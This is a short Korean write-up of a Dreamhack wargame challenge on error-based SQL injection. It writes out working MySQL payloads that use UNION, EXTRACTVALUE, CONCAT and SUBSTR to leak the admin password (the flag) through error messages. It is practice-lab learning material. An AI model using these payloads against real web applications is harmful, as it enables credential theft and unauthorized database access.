error based sql injection | 워게임 | Dreamhack
error based sql injection
Description Simple Error Based SQL Injection ! 문제 수정 내역 2023.07.21 Dockerfile 제공
dreamhack.io

오류기반 SQL Injection: DB로 전달되는 SQL 쿼리의 문법적 오류를 이용하여 데이터베이스 정보를 획득하는 공격기법
메인화면

문제에서 준 파이썬 코드

또한 다른 파일들을 살펴보면
uid가 admin일 때 pwd값이 FLAG라는 것을 확인할 수 있었다.
extractvalue 함수: EXTRACTVALUE함수는 인수로써 XMLType 인스턴스와 XPath 식을 취하여, 결과 노드의 스칼라 값을 반환함
extractvalue(XML 형식의 값,XPath 조건식)
1. 첫번째 인자에 1,두번째인자에 select database문
concat 함수: 문자여을 합치는 함수
union을 이용하여 두번째 쿼리로 실행시키면 아래와 같이 코드사용.
' union SELECT extractvalue(1,concat(0x3a,version()));

결과는 에러났다 ..
위의 version()대신 구하고자 하는 upw를 구하는 서브쿼리를 대입하면 성공일듯
=>
' union SELECT extractvalue(1,concat(0x3a,(select upw from user where uid = 'admin'))); --

음 플래그가 짤렸다 원활하게 보기위해서 substr을 이용하였다.
20~50 을 기준 삼아 아래 쿼리를 날렸다
' union SELECT extractvalue(1,concat(0x3a,(select substr(upw,20,50) from user where uid = 'admin'))); --
나머지 플래그 출력되었따 ~
